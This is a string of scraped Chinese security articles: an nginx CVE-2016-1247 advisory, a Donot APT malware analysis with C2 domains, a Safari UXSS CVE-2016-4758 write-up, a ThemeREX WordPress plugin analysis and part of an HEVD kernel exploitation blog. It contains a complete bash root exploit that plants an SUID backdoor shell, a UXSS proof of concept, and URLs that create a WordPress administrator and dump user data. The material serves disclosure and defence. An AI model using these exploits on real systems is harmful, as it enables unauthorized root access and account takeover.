* `\\upload/` ==> /upload/ | 社区文章 |
# 【漏洞预警】 CVE-2016-1247：Debian、Ubuntu发行版的Nginx本地提权漏洞（含POC、含演示视频 11月17日12:15更新）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**漏洞发现人：** Dawid Golunski
**CVE编号 ：** CVE-2016-1247
**发行日期 ：** 15.11.2016
**安全级别 ：** 高
**背景介绍**
Nginx是一个高性能的HTTP和反向代理服务器，也是一个 IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev
为俄罗斯访问量第二的 Rambler.ru
站点开发的，第一个公开版本0.1.0发布于2004年10月4日。其将源代码以类BSD许可证的形式发布，因它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名。2011年6月1日，nginx
1.0.4发布。 Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件（IMAP/POP3）代理服务器，并在一个BSD-like
协议下发行。由俄罗斯的程序设计师Igor Sysoev所开发，其特点是占有内存少，并发能力强。
****
**漏洞描述**
* * *
Debian、Ubuntu发行版的Nginx在新建日志目录的时，使用了不安全的权限，因此本地恶意攻击者可以从nginx/web用户权限(www-data)提升到ROOT。
**
**
**漏洞概要**
Debian发行版的Nginx本地提权漏洞，该漏洞已经在1.6.2-5+deb8u3中修复
因为该漏洞细节是在官方修复后公布的，因此请低版本的Debian/ubuntu用户及时更新补丁：
补丁修复情况：
Debian:
在Nginx 1.6.2-5+deb8u3中修复
Ubuntu:
Ubuntu 16.04 LTS:
在1.10.0-0ubuntu0.16.04.3中修复
Ubuntu 14.04 LTS:
在1.4.6-1ubuntu3.6中修复
Ubuntu 16.10:
在1.10.1-0ubuntu1.1中修复
**漏洞细节**
基于Debian系统默认安装的Nginx会在下面的路径使用下面的权限新建Nginx日志目录
root@xenial:~# ls -ld /var/log/nginx/
drwxr-x--- 2 www-data adm 4096 Nov 12 22:32 /var/log/nginx/
root@xenial:~# ls -ld /var/log/nginx/*
-rw-r----- 1 www-data adm 0 Nov 12 22:31 /var/log/nginx/access.log
-rw-r--r-- 1 root root 0 Nov 12 22:47 /var/log/nginx/error.log
我们可以看到/var/log/nginx目录的拥有者是www-data，因此本地攻击者可以通过符号链接到任意文件来替换日志文件，从而实现提权。
攻击者通过符号链接替换了日志文件后，需要等nginx daemon重新打开日志文件，因此需要重启Nginx，或者nginx damon接受USR1进程信号。
这里亮点来了，USR1进程信号会在默认安装的Nginx通过logrotate脚本调用的do_rotate()函数自动触发。
——–[ /etc/logrotate.d/nginx ]——–
/var/log/nginx/*.log {
daily
missingok
rotate 52
compress
delaycompress
notifempty
create 0640 www-data adm
sharedscripts
prerotate
if [ -d /etc/logrotate.d/httpd-prerotate ]; then
run-parts /etc/logrotate.d/httpd-prerotate;
fi
endscript
postrotate
invoke-rc.d nginx rotate >/dev/null 2>&1
endscript
}
[...]
do_rotate() {
start-stop-daemon --stop --signal USR1 --quiet --pidfile $PID --name $NAME
return 0
}
[...]
我们可以看到logrotation脚本会在corn中每天6:25AM自动调用，因此如果/etc/logrotate.d/nginx已经设置了'daily'日志回滚，攻击者将在不需要任何系统管理员交互的情况下，在24小时内实现提权到ROOT
**漏洞验证截图**
**演示视频**
**POC**
#!/bin/bash
#
# Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit
# nginxed-root.sh (ver. 1.0)
#
# CVE-2016-1247
#
# Discovered and coded by:
#
# Dawid Golunski
# dawid[at]legalhackers.com
#
# https://legalhackers.com
#
# Follow https://twitter.com/dawid_golunski for updates on this advisory.
#
# --- # This PoC exploit allows local attackers on Debian-based systems (Debian, Ubuntu
# etc.) to escalate their privileges from nginx web server user (www-data) to root
# through unsafe error log handling.
#
# The exploit waits for Nginx server to be restarted or receive a USR1 signal.
# On Debian-based systems the USR1 signal is sent by logrotate (/etc/logrotate.d/nginx)
# script which is called daily by the cron.daily on default installations.
# The restart should take place at 6:25am which is when cron.daily executes.
# Attackers can therefore get a root shell automatically in 24h at most without any admin
# interaction just by letting the exploit run till 6:25am assuming that daily logrotation
# has been configured.
#
#
# Exploit usage:
# ./nginxed-root.sh path_to_nginx_error.log
#
# To trigger logrotation for testing the exploit, you can run the following command:
#
# /usr/sbin/logrotate -vf /etc/logrotate.d/nginx
#
# See the full advisory for details at:
# https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
#
# Video PoC:
# https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
#
#
# Disclaimer:
# For testing purposes only. Do no harm.
#
BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/nginxrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"
function cleanexit {
# Cleanup
echo -e "n[+] Cleaning up..."
rm -f $PRIVESCSRC
rm -f $PRIVESCLIB
rm -f $ERRORLOG
touch $ERRORLOG
if [ -f /etc/ld.so.preload ]; then
echo -n > /etc/ld.so.preload
fi
echo -e "n[+] Job done. Exiting with code $1 n"
exit $1
}
function ctrl_c() {
echo -e "n[+] Ctrl+C pressed"
cleanexit 0
}
#intro
cat <<_eascii_
_______________________________
< Is your server (N)jinxed ? ;o >
-------------------------------
__---__
_- /--______
__--( / )XXXXXXXXXXXv.
.-XXX( O O )XXXXXXXXXXXXXXX-
/XXX( U ) XXXXXXX
/XXXXX( )--_ XXXXXXXXXXX
/XXXXX/ ( O ) XXXXXX XXXXX
XXXXX/ / XXXXXX __ XXXXX
XXXXXX__/ XXXXXX __---->
---___ XXX__/ XXXXXX __ /
- --__/ ___/ XXXXXX / ___--/=
- ___/ XXXXXX '--- XXXXXX
-/XXX XXXXXX /XXXXX
XXXXXXXXX /XXXXX/
XXXXXX > _/XXXXX/
XXXXX--__/ __-- XXXX/
-XXXXXXXX--------------- XXXXXX- XXXXXXXXXXXXXXXXXXXXXXXXXX/
""VXXXXXXXXXXXXXXXXXXV""
_eascii_
echo -e "33[94m nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) nnginxed-root.sh (ver. 1.0)n"
echo -e "Discovered and coded by: nnDawid Golunski nhttps://legalhackers.com 33[0m"
# Args
if [ $# -lt 1 ]; then
echo -e "n[!] Exploit usage: nn$0 path_to_error.log n"
echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`n"
exit 3
fi
# Priv check
echo -e "n[+] Starting the exploit as: n33[94m`id`33[0m"
id | grep -q www-data
if [ $? -ne 0 ]; then
echo -e "n[!] You need to execute the exploit as www-data user! Exiting.n"
exit 3
fi
# Set target paths
ERRORLOG="$1"
if [ ! -f $ERRORLOG ]; then
echo -e "n[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again.n"
exit 3
fi
# [ Exploitation ]
trap ctrl_c INT
# Compile privesc preload library
echo -e "n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("$BACKDOORPATH", 0, 0);
chmod("$BACKDOORPATH", 04777);
unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
echo -e "n[!] Failed to compile the privesc lib $PRIVESCSRC."
cleanexit 2;
fi
# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "n[+] Backdoor/low-priv shell installed at: n`ls -l $BACKDOORPATH`"
# Safety check
if [ -f /etc/ld.so.preload ]; then
echo -e "n[!] /etc/ld.so.preload already exists. Exiting for safety."
exit 2
fi
# Symlink the log file
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
echo -e "n[!] Couldn't remove the $ERRORLOG file or create a symlink."
cleanexit 3
fi
echo -e "n[+] The server appears to be 33[94m(N)jinxed33[0m (writable logdir) ! :) Symlink created at: n`ls -l $ERRORLOG`"
# Make sure the nginx access.log contains at least 1 line for the logrotation to get triggered
curl http://localhost/ >/dev/null 2>/dev/null
# Wait for Nginx to re-open the logs/USR1 signal after the logrotation (if daily
# rotation is enable in logrotate config for nginx, this should happen within 24h at 6:25am)
echo -ne "n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..."
while :; do
sleep 1
if [ -f /etc/ld.so.preload ]; then
echo $PRIVESCLIB > /etc/ld.so.preload
rm -f $ERRORLOG
break;
fi
done
# /etc/ld.so.preload should be owned by www-data user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "n[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: n`ls -l /etc/ld.so.preload`"
echo -e "n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "n[+] The /etc/ld.so.preload file now contains: n`cat /etc/ld.so.preload`"
chmod 755 /etc/ld.so.preload
# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/null >/dev/null
# Check for the rootshell
ls -l $BACKDOORPATH
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then
echo -e "n[+] Rootshell got assigned root SUID perms at: n`ls -l $BACKDOORPATH`"
echo -e "n33[94mThe server is (N)jinxed ! ;) Got root via Nginx!33[0m"
else
echo -e "n[!] Failed to get root"
cleanexit 2
fi
rm -f $ERRORLOG
echo > $ERRORLOG
# Use the rootshell to perform cleanup that requires root privilges
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
# Reset the logging to error.log
$BACKDOORPATH -p -c "kill -USR1 `pidof -s nginx`"
# Execute the rootshell
echo -e "n[+] Spawning the rootshell $BACKDOORPATH now! n"
$BACKDOORPATH -p -i
# Job done.
cleanexit 0：Debian、ubuntu发行版的Nginx本地提权漏洞（含POC）
**修复方案**
升级为最新的Nginx软件包
<https://www.debian.org/security/2016/dsa-3701>
<https://www.ubuntu.com/usn/usn-3114-1/>
**
**
**参考链接**
<http://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html> | 社区文章 |
# Donot APT团伙近期针对周边国家和地区的攻击活动分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
Donot“肚脑虫”（APT-C-35）是疑似具有南亚背景的APT组织，其主要以周边国家的政府机构为目标进行网络攻击活动，通常以窃密敏感信息为目的。该组织具备针对Windows与Android双平台的攻击能力。
自2017年开始，奇安信威胁情报中心对该组织一直保持着持续跟踪，并多次公开披露过其攻击活动。近期，奇安信红雨滴和奇安信APT实验室在日常的跟踪过程中，再次监测到该组织开展了新一轮攻击活动。此次攻击活动中，该组织采用的技战术手法并未发生大的变化，只是在代码中做了些轻微改动：例如下载器中将字符串简单加密处理、Android样本中将C2等信息简单加密处理等。红雨滴团队对新捕获到的样本进行了详细分析。
## 样本分析
此次捕获的攻击样本均为宏利用样本，基本信息如下
**文件名** | **MD5** | **作者** | **修改时间**
---|---|---|---
**22 Apr 2020.xls** | 107d25c7399b17ad6b7c05993b65c18e | Testing | 2020:03:17
10:42:38
**List of new items.xls** | a9d6d2d93eda11e89ed2ca034b81e6ef | Testing |
2020/02/24 06:00
**Invoice.xls** | 22be6422e8cc09bda69843acc405f104 | Testing | 2020:01:08
07:07:06
**RegistrationForm.xls** | 554a72999435c81ceedf79db6a911142 | Testing |
2019:10:18 09:33:17
以”22 Apr 2020.xls”为例，打开文档时便会弹出窗口提示启用宏
一旦受害者启用宏，恶意宏将故意弹出一个报错窗口，以迷惑受害者
而恶意宏将在释放一个恶意dll以及一个bat到受害者计算机，并通过创建计划任务将bat文件执行起来
创建的计划任务信息如下
通过计划任务触发执行的bat文件将创建多个目录，并将这些目录属性设置为隐藏
之后获取计算机名和5位随机数字组成字符串保存到%USERPROFILE%\Printers\Net\profiles\irina，同时将dll文件移到%USERPROFILE%\Check\Netspeed\Data\目录下重命名为inet.dll
最后再创建两个计划任务”Internet”，”Data_log”,其中”Internet”用于执行inet.dll
样本运行流程可通过奇安信在线云沙箱运行查看，整体行为流程如图所示
**文件名** | **inet.dll**
---|---
**MD5** | D140F63FF050C572398DA196F587775C
该dll是一个downloader,主要用于下载后续木马执行，运行后，首先通过长时间sleep从而使一些沙箱无法执行后续行为
样本中的关键字符串采用简单的加密处理
样本经过长时间的休眠
之后，将尝试从远程服务器supportsession[.]live/192362/x2d34x3获取文件，若成功获取则写入到%USERPROFILE%\\\Look\\\Drive\\\wmi\\\hostcom.exe
文件名 | hostcom.exe
---|---
MD5 | 8b640d71f6eda4bdddeab75b7a1d2e12
该文件成功获取后，将通过bat创建的计划任务”Data_log”加载执行。
该样本采用了与inet.dll相同的简单加密，执行后，会尝试从\Printers\Net\profiles\irina中获取“计算机名-随机数“
之后将以参数orderme/计算机名-随机数与c2: requestupdate.live进行通信
与c2通信获取信息执行，当返回数据中包含“Content-Type: xDvsds “以及”Content-Type:
Bw11eW”时，将远程获取命令保存到\Printers\Net\net\test.bat中执行
若都没有，则尝试读取数据写入\Printers\Net\net\wuaupdt.exe执行
遗憾的是，在分析的过程中，c2服务器已经失效，无法获取到后续木马。
## 溯源关联
奇安信威胁情报中心红雨滴团队通过对宏特征，bat特征，木马特征等信息进行关联分析发现，此次捕获的样本均出自南亚APT组织Donot。
### 与Donot APT团伙的关联
此次捕获样本释放执行的bat文件与奇安信威胁情报中心《Donot（APT-C-35）组织对在华巴基斯坦商务人士的定向攻击活动分析》 **[1]**
一文中的bat文件基本一致，都创建多个隐藏目录，并获取计算机名加随机数组成字符串保存到文件。
hostcom.exe与Plugin-Downloader – wlidsvcc.exe也基本一致，同样以参数”orderme/计算机名-随机数”与c2通信，且下载的后续木马文件名保存为wuaupdt.exe
同时，其c2命名方式也与donot基本一致，且奇安信ALPHA威胁分析平台已有Donot相关标签
### 代码更新
同时，该APT组织也对其攻击武器进行了简单的更新，以逃过一些安全研究人员的追踪，例如之前通过注册表启动项启动后续木马，到如今的利用计划任务实现持久化。
明文路径等也加上了简单的加密，此方法可能时为了逃避字符串相关规则
同样的，其Android端也对c2增加了简单的加密处理
## 总结
APT组织不会因为安全研究人员对其进行披露而停止攻击活动，从Donot组织样本代码更新可以看出，APT组织也会不断改进其攻击武器，改变其攻击手法，更有甚者会模仿其他APT组织展开攻击活动，从而躲避安全研究人员的跟踪。
奇安信威胁情报中心再次提醒各企业用户，加强员工的安全意识培训是企业信息安全建设中最重要的一环，如有需要，企业用户可以建设态势感知，完善资产管理及持续监控能力，并积极引入威胁情报，以尽可能防御此类攻击。
目前，基于奇安信威胁情报中心的威胁情报数据的全线产品，包括威胁情报平台（TIP）、天眼高级威胁检测系统、NGSOC、奇安信态势感知等，都已经支持对此APT攻击团伙攻击活动的精准检测。
## IOC
**MD5**
107d25c7399b17ad6b7c05993b65c18e
fa86464d6fa281d6bec6df62d5f2ba4f
22be6422e8cc09bda69843acc405f104
554a72999435c81ceedf79db6a911142
fa86464d6fa281d6bec6df62d5f2ba4f
22be6422e8cc09bda69843acc405f104
554a72999435c81ceedf79db6a911142
A9D6D2D93EDA11E89ED2CA034B81E6EF
d140f63ff050c572398da196f587775c
428C9AEA62D8988697DB6E96900D5439
a0e985519bf45379495ed9087e0c9e45
**C2**
requestupdate.live
linkrequest.live
supportsession.live
rythemsjoy.club
mailsession.online
## 参考链接：
[1] <https://ti.qianxin.com/blog/articles/donot-group-is-targeting-pakistani-businessman-working-in-china/> | 社区文章 |
# 【技术分享】CVE-2016-4758:针对Safari浏览器的UXSS漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：[ http://mksben.l0.cm/2016/09/safari-uxss-showModalDialog.html](
http://mksben.l0.cm/2016/09/safari-uxss-showModalDialog.html)
译文仅供参考，具体内容表达以及含义原文为准。
**前言**
在这篇文章中，我准备跟大家分享关于漏洞CVE-2016-4758的细节信息。 **这个漏洞是Safari浏览器中的一个UXSS漏洞。**
所谓UXSS，即通用型跨站脚本攻击。目前，苹果公司已经在Safari
10中修复了这个漏洞。［[苹果官方安全公告](https://support.apple.com/en-us/HT207157)］另外，
**移动端的Safari浏览器并不会受此漏洞影响** ，因为iPhone中的Safari浏览器并不支持showModalDialog()方法。
**
**
**漏洞概述**
**漏洞编号** ：CVE-2016-4758
**漏洞提交者** ：Cure53团队的Masato Kinugawa
**受影响的系统** ：OS X Yosemite v10.10.5，OS X El Capitan v10.11.6，以及macOS Sierra
10.12
**影响范围** ：如果用户无意间访问了一个由攻击者精心设计的恶意站点，那么将有可能导致用户的敏感数据发生泄漏。
**漏洞描述**
：浏览器在处理location变量时存在权限问题，进而导致了该漏洞的产生，苹果公司通过在浏览器处理过程中增加额外的权限检查来修复了这个问题。
**
**
**安全客小百科：UXSS简介**
目前，几种比较常见的XSS攻击有反射型XSS、存储型XSS、DomXSS、以及mXSS（突变XSS），但是很少有人了解什么是UXSS。UXSS英文全称为Universal
Cross-Site Scripting，中文即为通用型跨站脚本攻击。
现在很多的客户端或服务器端程序在开发的过程中由于代码编写不严谨，所以直接导致网站或者Web应用中存在漏洞，而常见的XSS攻击利用的这是这些Web漏洞。XSS攻击顺利进行的先决条件是目标页面中存在安全漏洞，而直接受到攻击影响的则是漏洞页面本身的用户会话。换句话说，因为浏览器的安全保护机制，XSS攻击只能读取受感染页面的会话，而无法读取其他页面的会话信息。
UXSS和其他XSS之间的一个重要区别就在于， **UXSS需要利用浏览器或者浏览器扩展中存在的漏洞来创造出XSS攻击的条件，并最终执行攻击代码。**
简单来说，原来我们在进行XSS攻击的时候，针对的目标是Web应用本身，这是因为Web应用本身存在漏洞，所以我们才能对其进行XSS攻击。而UXSS不同，
**因为UXSS需要我们通过浏览器漏洞来制作“XSS”漏洞，然后再像普通XSS那样进行攻击。**
**
**
**攻击的先决条件**
为了成功利用这个漏洞来进行攻击，我们需要 **以下两个先决条件** ：
1\.
通过相对URL地址来将目标页面定向至一个加载了JavaScript脚本的页面。（例如location=”/”，window.open(“/”,”_balnk”)）
2\. 页面加载完毕后，页面导航也就完成了。
为了更好地方便大家理解，我专门创建了一个符合攻击条件的页面：［[点我跳转](https://vulnerabledoma.in/safari_uxss_showModalDialog/target.html)］
**页面中加载的JavaScript脚本代码如下：**
<script>
function go_top(){
location="/index.html";
}
</script>
<button onclick=go_top()>Top Page</button>
这个页面的唯一功能就是当用户点击了初始页面中的“Top
Page”按钮之后，导航至<https://vulnerabledoma.in/index.html>页面。我个人认为，这样的页面其实满大街都是。但是通过这个漏洞，我们就可以对目标站点进行跨站脚本攻击了。
**
**
**漏洞分析**
现在，让我们在页面中使用showModalDialog方法。
下面这个页面会在一个模态窗口中打开我们的目标页面：
<https://l0.cm/safari_uxss_showModalDialog/example.html>
**界面如下图所示：**
点击了页面中的“go”按钮之后， **得到如下图所示的页面：**
**关键代码如下所示：**
<script>
function go(){
showModalDialog("https://vulnerabledoma.in/safari_uxss_showModalDialog/target.html");
}
</script>
<button onclick=go()>go</button>
当我们点击了模式窗口中的“Top
Page”按钮之后会发生什么呢？按理来说，我们将会访问<https://vulnerabledoma.in/index.html>页面。但是Safari就是这么与众不同，Safari浏览器会将页面导航至<https://l0.cm/index.html>。很明显，Safari已经将页面父窗口的URL基地址和模式窗口的URL基地址弄混了。具体情况如下图所示：
（注：只有JavaScript导航API接口中才存在这种问题。比如说，使用<a>标签和xhr.open(“GET”,[URL])则不会出现这种问题，浏览器仍然会使用正确的URL地址。）
**
**
**部署XSS攻击**
Safari浏览器允许在“”URL中将目标设置为<base>标签。所以，我认为， **如果我将“”URL设置为父页面的
<base>标签，那么我也许就可以实现XSS攻击了。**
事实证明，我的假设是正确的。最终的 **概念验证实例代码如下所示：**
［[演示站点](https://l0.cm/safari_uxss_showModalDialog/)］
<!DOCTYPE html>
<html>
<head>
<base href="//%0A%28document.domain%29%2F/">
</head>
<body>
<script>
function go(){
showModalDialog("http://vulnerabledoma.in/safari_uxss_showModalDialog/target.html");
}
</script>
<button onclick=go()>go</button>
</body>
</html>
如果一切顺利的话，当你点击了页面中的“Top Page”按钮之后，你将会看到一个对话窗口， **如下图所示：**
如果看到了这个窗口的话，那么就说明你的攻击成功啦！
**
**
**UXSS防御方法**
防御UXSS的最好方法就是 **持续更新** 计算机或者服务器中的各类软件和扩展插件版本，并且在生产环境中尽量 **避免安装那些不会使用到的程序**
。当然了，即便是做到了这些也并不意味着你可以高枕无忧了。因为当一个漏洞被发现之后，漏洞的提交、确认、修复、以及补丁发布都是需要时间的，在这段时间内，用户仍然有可能受到UXSS攻击。
**
**
**总结**
这篇文章主要讲述的是关于Safari浏览器UXSS漏洞的内容，这个漏洞存在于浏览器的Webkit中。
**我在2015年6月15日就已经将该漏洞报告给苹果公司了，但是已经过去一年多了，苹果公司直到前几天才正式宣布修复了这个漏洞。**
与此前一样，如果我还发现了其他有趣的漏洞，那么我肯定会跟大家一同分享，感谢各位的阅读！ | 社区文章 |
# WordpPress ThemeREX Addons 插件安全漏洞深度分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
ThemeREX是一家专门出售商业WordPress主题的公司。ThemeREX
Addons插件为ThemeREX公司开发的预装在所有ThemeREX商业主题中用来帮助其用户设置新站点和控制不同的主题的一款插件。根据相关预测，该插件预装在超过44000个网站上。
## 0x01 漏洞描述
WordPress ThemeREX Addons
2020-03-09之前版本中存在安全漏洞。未经授权的攻击者可利用该漏洞在后台添加一个管理员账号、或是查看所有账号信息等操作。
## 0x02 漏洞分析
根据相关披露，漏洞应该存在于plugin.rest-api.php文件中
我们首先来看一下wp-contentpluginstrx_addonsincludesplugin.rest-api.php文件中的代码
位于该文件40行处，存在一处trx_addons_rest_get_sc_layout方法，如下图
在该方法中，存在一处明显的漏洞点，见下图代码块
接下来我们根据这段代码详细分析下。我们首先来观察一下下图53行红框处
位于上图红框处，可见程序从请求中直接获得参数，并将请求中的参数键值对赋值与$params数组。这将导致$params数组可控
紧接着，程序判断$params数组中是否存在名为’sc’的键名，见下图红框处
若该键名存在，经过字符替换处理后将其值赋与$sc变量。
简单来说，这里的$sc变量可以通过请求中的sc参数进行传递。
随后，程序通过function_exists判断$sc变量对应的方法是否存在，见下图
如果$sc变量中对应的方法存在，程序将$params数组作为参数列表传入该方法执行。
至此，漏洞的触发点我们已经分析完毕。接下来我们需要寻找一下调用链
由于漏洞触发点位于trx_addons_rest_get_sc_layout方法中，我们需要分析一下如何构造请求以触发这个漏洞。
仍然是位于wp-contentpluginstrx_addonsincludesplugin.rest-api.php文件中，有着如下代码
通过上图可见，程序通过add_action方法将trx_addons_rest_register_endpoints函数挂接到rest_api_init动作上。
我们查看一下rest_api_init这个动作
通过上图描述不难看出：
rest_api_init动作将会在API请求发送到服务器后，服务器初始化处理API请求时触发。将trx_addons_rest_register_endpoints函数挂接到rest_api_init动作上，当有API请求发送到后台处理时，trx_addons_rest_register_endpoints方法将会被加载。
继续跟踪后续代码
在trx_addons_rest_register_endpoints方法中通过register_rest_route方法注册了一个自定义接口，见上图红框处。
这里简单介绍一下register_rest_route方法：
WordPress官方核心代码提供了一套WP_REST_API接口，但是实际开发以及使用过程中难免会出现官方API接口满足不了实际需求的状况。为此WordPress提供了register_rest_route方法用于自定义注册WP
REST API接口。
register_rest_route方法参数如下
在介绍完register_rest_route方法后，我们回归漏洞代码，分析此处register_rest_route方法注册的API接口
通过上图第一个红框处namespace以及route属性值可知：该接口路由为trx_addons/v2/get/sc_layout；通过第二个红框methods属性值可知：该接口可以通过GETPOST方法访问；通过第三个红框callback属性值可知：该接口回调函数为漏洞触发点trx_addons_rest_get_sc_layout方法。通过上述信息，我们可以构造出通往漏洞触发点的请求。
除了通过分析代码来请求这种方法外，我们还可以通过wordpress还提供的接口来方便快捷的查看所有注册的API接口信息。
访问127.0.0.1/wordpress/wp-json/ 见下图
wp-json这个目录会将wordpress中所有注册的API接口信息展示出来。
通过页面中展示的API列表，我们可以看见/trx_addons/v2/get/sc_layout路由信息
展开/trx_addons/v2/get/sc_layout路由 见下图
上图为展开后的详细接口信息，在这里我们可以看到该接口允许的methods以及url地址
值得注意的是：通过分析 /trx_addons/v2/get/sc_layout接口代码时可发现，ThemeREX
Addons插件并没有在代码中使用current_user_can等方法对接口进行权限校验。也就是说，未经身份验证的用户也可以访问该接口从而触发漏洞
## 0x03 漏洞利用
通过上文的分析可知，我们可以通过请求来控制待执行的函数名，并可以通过一个数组对该函数传参。因此我们需要找到一个可以利用的PHP或wordpress函数，该函数需要满足可以接收并处理数组类型参数
### 利用一：通过wp_insert_user新建管理员账号
构造如下链接：
[http://127.0.0.1/wordpress/?rest_route=/trx_addons/v2/get/sc_layout&sc=wp_insert_user&role=administrator&user_login=TEST&user_pass=TEST](http://127.0.0.1/wordpress/?rest_route=/trx_addons/v2/get/sc_layout&sc=wp_insert_user&role=administrator&user_login=TEST&user_pass=TEST)
不需要进行登录操作，直接访问以上链接即可成功利用。
根据上文漏洞分析一章可知，该链接最终会触发trx_addons_rest_get_sc_layout方法，见下图
此时上图中的$sc参数值对应payload中sc值，为wp_insert_user
此时$params数组值如下图
程序将$params数组作为参数传入wp_insert_user方法并执行wp_insert_user方法。
wp_insert_user方法可以为wordpress程序添加一个指定权限的用户，该方法接收一个数组作为参数满足触发漏洞的要求，见下图
wp_insert_user方法参数说明如下
由此一来，wordpress中将会增添一个administrator权限的名为TEST的用户，如下图
利用新创建的管理员账号可以完成进一步攻击：例如通过修改wordpress模板等操作，在wordpress中写入后门文件。
### 利用二：通过wp_dropdown_users查看所有账号信息
构造如下链接：
[http://127.0.0.1/wordpress/wp-json/trx_addons/v2/get/sc_layout?sc=wp_dropdown_users&show=user_login](http://127.0.0.1/wordpress/wp-json/trx_addons/v2/get/sc_layout?sc=wp_dropdown_users&show=user_login)
wp_dropdown_users为wordpress提供的用来查询用户信息的函数
wp_dropdown_users同样满足可以接收一个数组作为参数的需求，wp_dropdown_users参数说明如下
通过wp_dropdown_users接口可以泄露wordpress账号信息。该操作同样不需要任何权限
上述payload中指定show参数值为user_login，这样可以查看wordpress所有用户名，见下图
show参数值可以设置为user_pass来进行查看存储在数据库中加密后的密码，见下图
show参数值可以设置为user_email来进行查看邮箱，见下图
‘
## 0x04 总结
为了解决安全问题，ThemeREX选择将受影响的plugin.rest-api.php文件完全删除。plugin.rest-api.php文件是为了提供与Gutenberg插件的兼容性而设计，但在目前版本中Gutenberg插件已完全集成为WordPress核心。因此plugin.rest-api.php文件不再被需要，删除该文件不会影响到用户的正常使用。 | 社区文章 |
> 文章翻译自：<https://h0mbre.github.io/HEVD_Stackoverflow_64bit/>
## 介绍
继续我们的Windows漏洞利用之旅，开始学习HEVD中内核驱动程序相关的漏洞，并编写有关ring
0的利用程序。正如我在[OSCP](https://h0mbre.github.io/OSCP/)中所做的准备，我主要是在博客中记录自己的进步，以此来加强认知和保留详细的笔记，以供日后参考。
本系列文章是我尝试遍历[Hacksys
Extreme漏洞驱动程序](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)中所有漏洞方法的记录。
**我将使用HEVD 2.0。** ，对我们这些刚入门的人来说，像这样的训练工具是非常神奇的。 那里还有很多不错的博客文章，介绍了各种HEVD漏洞。
我建议您全部阅读！ 在尝试完成这些攻击时，我大量引用了它们。 在此博客中，我所做的或说的，几乎没有什么是新的内容或我自己的想法/思路/技术。
### **本系列文章不再着重介绍以下信息，例如：**
> * 驱动程序如何工作，以及用户空间，内核和驱动程序之间的不同类型，如何通信等等
>
> * 如何安装HEVD
>
> * 如何搭建实验环境
>
> * shellcode分析
>
>
原因很简单，其他博客文章在详细说明此信息方面，做得比我更好。 那里有很多出色的帖子，相比之下我写这个博客系列就很肤浅了。
但并不意味着我的博客写得很差，因为我的博客比那些文章更容易理解。那些博客的作者比我有更多的经验和更渊博的知识，他们文章解释的就很好。:)
这篇文章/系列文章将重点放在我尝试制作实际漏洞的经验上。
我使用以下博客作为参考：
> * [@r0otki7的内核驱动程序安装和实验环境搭建](https://rootkits.xyz/blog/2017/06/kernel-> setting-up/),
>
> * [@r0otki7的Win7 x86 HEVD 栈溢出](https://rootkits.xyz/blog/2017/08/kernel-> stack-overflow/),
>
> * [@33y0re的Win7 x86 HEVD
> 栈溢出](https://connormcgarr.github.io/Part-1-Kernel-Exploitation/),
>
> * [@_xpn_的Win10 x64 HEVD 栈溢出](https://blog.xpnsec.com/hevd-stack-> overflow/),
>
> * @sizzop的基于HEVD 栈溢出的[bug](https://sizzop.github.io/2016/07/06/kernel-> hacking-with-hevd-part-2.html),
> [shellcode](https://sizzop.github.io/2016/07/07/kernel-hacking-with-hevd-> part-3.html), 和 [exploit](https://sizzop.github.io/2016/07/08/kernel-> hacking-with-hevd-part-4.html),
>
> * [@ctf_blahcat的Win8.1 x64 HEVD
> 栈溢出](https://blahcat.github.io/2017/08/18/first-exploit-in-windows-kernel-> hevd/),
>
> *
> [@abatchy17’的x86和x64环境下利用Token窃取Shellcode](https://www.abatchy.com/2018/01/kernel-> exploitation-2),
>
> *
> [@hasherezade的HEVD博客文章](https://hshrzd.wordpress.com/2017/06/05/starting-> with-windows-kernel-exploitation-part-2/).
>
>
